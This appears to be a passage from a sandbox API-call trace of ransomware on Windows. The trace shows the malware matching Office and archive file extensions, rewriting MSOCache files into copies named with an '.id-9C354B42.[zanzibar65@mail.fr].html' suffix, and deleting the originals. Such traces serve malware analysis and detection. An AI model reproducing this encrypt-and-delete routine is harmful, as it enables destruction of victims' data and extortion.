[0034.545] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.545] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.545] lstrlenW (lpString=".jpg") returned 4 [0034.545] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.545] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.545] lstrlenW (lpString="OneNoteMUI.xml") returned 14 [0034.545] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0034.546] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1606) returned 1 [0034.546] CloseHandle (hObject=0x198) returned 1 [0034.546] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 0x2020 [0034.546] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.546] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0034.546] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.547] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.547] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.547] GetLastError () returned 0x0 [0034.547] ReadFile (in: hFile=0x198, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x646, lpOverlapped=0x0) returned 1 [0034.551] WriteFile (in: hFile=0x19c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x650, lpOverlapped=0x0) returned 1 [0034.552] ReadFile (in: hFile=0x198, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0034.552] WriteFile (in: hFile=0x19c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0034.552] SetEndOfFile (hFile=0x19c) returned 1 [0034.552] CloseHandle (hObject=0x19c) returned 1 [0034.552] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.552] SetEndOfFile (hFile=0x198) returned 1 [0034.553] CloseHandle (hObject=0x198) returned 1 [0034.553] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0034.554] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 1 [0034.554] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.554] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.554] lstrlenW (lpString=".doc") returned 4 [0034.554] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.554] lstrlenW (lpString=".docx") returned 5 [0034.554] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.554] lstrlenW (lpString=".pdf") returned 4 [0034.554] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.554] lstrlenW (lpString=".xls") returned 4 [0034.554] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.554] lstrlenW (lpString=".xlsx") returned 5 [0034.554] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.554] lstrlenW (lpString=".ppt") returned 4 [0034.554] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.554] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.554] lstrlenW (lpString=".zip") returned 4 [0034.554] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.554] lstrlenW (lpString=".rar") returned 4 [0034.554] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.554] lstrlenW (lpString=".bz2") returned 4 [0034.554] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.554] lstrlenW (lpString=".7z") returned 3 [0034.554] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.554] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.554] lstrlenW (lpString=".dbf") returned 4 [0034.554] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.554] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.555] lstrlenW (lpString=".1cd") returned 4 [0034.555] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.555] lstrlenW (lpString=".jpg") returned 4 [0034.555] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.555] lstrlenW (lpString=".doc") returned 4 [0034.555] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.555] lstrlenW (lpString=".docx") returned 5 [0034.555] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.555] lstrlenW (lpString=".pdf") returned 4 [0034.555] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.555] lstrlenW (lpString=".xls") returned 4 [0034.555] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.555] lstrlenW (lpString=".xlsx") returned 5 [0034.555] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.555] lstrlenW (lpString=".ppt") returned 4 [0034.555] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.555] lstrlenW (lpString=".zip") returned 4 [0034.555] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.555] lstrlenW (lpString=".rar") returned 4 [0034.555] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.555] lstrlenW (lpString=".bz2") returned 4 [0034.555] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.555] lstrlenW (lpString=".7z") returned 3 [0034.555] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.555] lstrlenW (lpString=".dbf") returned 4 [0034.556] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.556] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.556] lstrlenW (lpString=".1cd") returned 4 [0034.556] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.556] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0034.556] lstrlenW (lpString=".jpg") returned 4 [0034.556] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.556] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.556] lstrlenW (lpString="Setup.xml") returned 9 [0034.556] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0034.557] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1988) returned 1 [0034.557] CloseHandle (hObject=0x198) returned 1 [0034.557] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.557] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.557] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0034.557] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.557] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.557] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.558] GetLastError () returned 0x0 [0034.558] ReadFile (in: hFile=0x198, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x7c4, lpOverlapped=0x0) returned 1 [0034.559] WriteFile (in: hFile=0x19c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0034.560] ReadFile (in: hFile=0x198, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0034.560] WriteFile (in: hFile=0x19c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.560] SetEndOfFile (hFile=0x19c) returned 1 [0034.560] CloseHandle (hObject=0x19c) returned 1 [0034.561] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.561] SetEndOfFile (hFile=0x198) returned 1 [0034.562] CloseHandle (hObject=0x198) returned 1 [0034.562] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0034.562] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.562] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.562] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.562] lstrlenW (lpString=".doc") returned 4 [0034.562] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.562] lstrlenW (lpString=".docx") returned 5 [0034.562] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.562] lstrlenW (lpString=".pdf") returned 4 [0034.562] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.563] lstrlenW (lpString=".xls") returned 4 [0034.563] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.563] lstrlenW (lpString=".xlsx") returned 5 [0034.563] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.563] lstrlenW (lpString=".ppt") returned 4 [0034.563] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.563] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.563] lstrlenW (lpString=".zip") returned 4 [0034.563] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.563] lstrlenW (lpString=".rar") returned 4 [0034.563] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.563] lstrlenW (lpString=".bz2") returned 4 [0034.563] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.563] lstrlenW (lpString=".7z") returned 3 [0034.563] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.563] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.563] lstrlenW (lpString=".dbf") returned 4 [0034.563] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.563] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.563] lstrlenW (lpString=".1cd") returned 4 [0034.563] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.563] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.563] lstrlenW (lpString=".jpg") returned 4 [0034.563] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.563] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.563] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.563] lstrlenW (lpString=".doc") returned 4 [0034.563] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.563] lstrlenW (lpString=".docx") returned 5 [0034.563] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.563] lstrlenW (lpString=".pdf") returned 4 [0034.564] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.564] lstrlenW (lpString=".xls") returned 4 [0034.564] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.564] lstrlenW (lpString=".xlsx") returned 5 [0034.564] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.564] lstrlenW (lpString=".ppt") returned 4 [0034.564] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.564] lstrlenW (lpString=".zip") returned 4 [0034.564] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.564] lstrlenW (lpString=".rar") returned 4 [0034.564] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.564] lstrlenW (lpString=".bz2") returned 4 [0034.564] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.564] lstrlenW (lpString=".7z") returned 3 [0034.564] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.564] lstrlenW (lpString=".dbf") returned 4 [0034.564] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.564] lstrlenW (lpString=".1cd") returned 4 [0034.564] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.564] lstrlenW (lpString=".jpg") returned 4 [0034.564] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.565] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.565] lstrlenW (lpString="ProjectMUI.xml") returned 14 [0034.565] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0034.566] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1452) returned 1 [0034.566] CloseHandle (hObject=0x198) returned 1 [0034.566] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 0x2020 [0034.566] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.566] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0034.566] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.566] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.567] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.567] GetLastError () returned 0x0 [0034.567] ReadFile (in: hFile=0x198, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x5ac, lpOverlapped=0x0) returned 1 [0034.568] WriteFile (in: hFile=0x19c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0034.569] ReadFile (in: hFile=0x198, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0034.569] WriteFile (in: hFile=0x19c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0034.569] SetEndOfFile (hFile=0x19c) returned 1 [0034.569] CloseHandle (hObject=0x19c) returned 1 [0034.570] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.570] SetEndOfFile (hFile=0x198) returned 1 [0034.571] CloseHandle (hObject=0x198) returned 1 [0034.571] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0034.571] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 1 [0034.571] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.571] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.571] lstrlenW (lpString=".doc") returned 4 [0034.571] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.571] lstrlenW (lpString=".docx") returned 5 [0034.571] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.571] lstrlenW (lpString=".pdf") returned 4 [0034.572] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.572] lstrlenW (lpString=".xls") returned 4 [0034.572] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.572] lstrlenW (lpString=".xlsx") returned 5 [0034.572] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.572] lstrlenW (lpString=".ppt") returned 4 [0034.572] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.572] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.572] lstrlenW (lpString=".zip") returned 4 [0034.572] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.572] lstrlenW (lpString=".rar") returned 4 [0034.572] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.572] lstrlenW (lpString=".bz2") returned 4 [0034.572] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.572] lstrlenW (lpString=".7z") returned 3 [0034.572] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.572] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.572] lstrlenW (lpString=".dbf") returned 4 [0034.572] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.572] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.572] lstrlenW (lpString=".1cd") returned 4 [0034.572] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.572] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.572] lstrlenW (lpString=".jpg") returned 4 [0034.572] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.572] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.572] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.572] lstrlenW (lpString=".doc") returned 4 [0034.572] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.572] lstrlenW (lpString=".docx") returned 5 [0034.572] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.573] lstrlenW (lpString=".pdf") returned 4 [0034.573] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.573] lstrlenW (lpString=".xls") returned 4 [0034.573] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.573] lstrlenW (lpString=".xlsx") returned 5 [0034.573] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.573] lstrlenW (lpString=".ppt") returned 4 [0034.573] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0034.573] lstrlenW (lpString=".zip") returned 4 [0034.573] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.573] lstrlenW (lpString=".rar") returned 4 [0034.573] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.573] lstrlenW (lpString=".bz2") returned 4 [0034.573] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.573] lstrlenW (lpString=".7z") returned 3 